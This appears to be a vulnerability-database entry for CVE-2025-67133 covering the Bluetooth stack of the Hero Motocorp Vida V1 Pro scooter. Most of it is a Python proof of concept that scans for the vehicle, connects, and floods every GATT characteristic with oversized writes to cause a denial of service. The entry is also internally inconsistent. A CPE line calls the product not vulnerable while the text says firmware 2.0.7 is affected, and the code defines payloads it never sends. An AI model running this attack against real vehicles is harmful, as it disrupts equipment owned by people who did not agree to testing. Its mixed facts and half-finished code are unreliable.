cpe:2.3:h:heromotocorp:vida_v1_pro:-:*:*:*:*:*:*:* - NOT VULNERABLE
Hero Motocorp Vida V1 Pro 固件版本 2.0.7（确认受影响）
Hero Motocorp Vida V1 Pro 固件版本 2.0.7之前版本（可能受影响）
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3
"""
CVE-2025-67133 PoC - Hero Motocorp Vida V1 Pro BLE DoS
This PoC demonstrates how to trigger a denial of service in the BLE component
of Hero Motocorp Vida V1 Pro (firmware 2.0.7) via malformed BLE connection requests.
WARNING: This code is for educational and authorized security testing purposes only.
Unauthorized use against systems you do not own or have permission to test is illegal.
"""
from bleak import BleakClient
from bleak import BleakScanner
import asyncio
import struct
import time
TARGET_DEVICE_NAME = "Vida V1 Pro"
# Common BLE service UUIDs that might be used by Vida V1 Pro
POTENTIAL_SERVICE_UUIDS = [
"6E400001-B5A3-F393-E0A9-E50E24DCCA9E", # Nordic UART Service
"0000FE00-0000-1000-8000-00805F9B34FB", # Custom Vida Service
]
async def find_target_device():
"""Scan for the target Vida V1 Pro device"""
print("[*] Scanning for BLE devices...")
devices = await BleakScanner.discover(timeout=5.0)
for device in devices:
if device.name and TARGET_DEVICE_NAME in device.name:
print(f"[+] Found target device: {device.name} ({device.address})")
return device
print("[-] Target device not found")
return None
async def send_malformed_packets(address):
"""
Send malformed BLE connection requests to trigger DoS
This exploits insufficient input validation in the BLE stack
"""
print(f"[*] Attempting to send malformed BLE packets to {address}")
# Malformed packet 1: Excessively long MTU request
malformed_mtu = bytes([0x02, 0x00, 0xFF, 0xFF, 0xFF]) # Invalid MTU size
# Malformed packet 2: Corrupted attribute handle request
malformed_handle = bytes([0x0A, 0x00, 0x10, 0x00, 0x00, 0x00, 0xFF, 0xFF])
try:
async with BleakClient(address) as client:
print("[+] Connected to device")
# Try to enumerate services (may trigger vulnerability)
services = await client.get_services()
print(f"[*] Found {len(services.characteristics)} characteristics")
# Send malformed write requests to each characteristic
for service in services:
for char in service.characteristics:
try:
# Write large amount of data to trigger overflow
large_data = b'\xFF' * 1000
await client.write_gatt_char(char.uuid, large_data)
except Exception as e:
pass
print("[+] Malformed packets sent")
except Exception as e:
print(f"[!] Error during attack: {e}")
def generate_dos_payload():
"""
Generate various DoS payloads for BLE protocol fuzzing
"""
payloads = []
# Payload 1: Giant MTU size
payloads.append({
"type": "MTU_EXCEED",
"data": bytes([0x02, 0x00]) + bytes([0xFF] * 512),
"description": "Request MTU size exceeding buffer limits"
})
# Payload 2: Fragmented malformed L2CAP packet
payloads.append({
"type": "L2CAP_FRAGMENT",
"data": bytes([0x08, 0x00, 0x01, 0x00, 0xFF] * 50),
"description": "Malformed fragmented L2CAP packet"
})
# Payload 3: Invalid ATT opcode
payloads.append({
"type": "INVALID_OPCODE",
"data": bytes([0xFF, 0xFF, 0xFF, 0xFF]),
"description": "Invalid ATT protocol opcode"
})
return payloads
async def main():
print("=" * 60)
print("CVE-2025-67133 PoC - Vida V1 Pro BLE DoS")
print("=" * 60)
# Find target device
target = await find_target_device()
if target:
print(f"[*] Target found at {target.address}")
print("[*] Sending malformed packets...")
await send_malformed_packets(target.address)
else:
print("[-] Please ensure the Vida V1 Pro device is in range and BLE is enabled")
if __name__ == "__main__":
asyncio.run(main())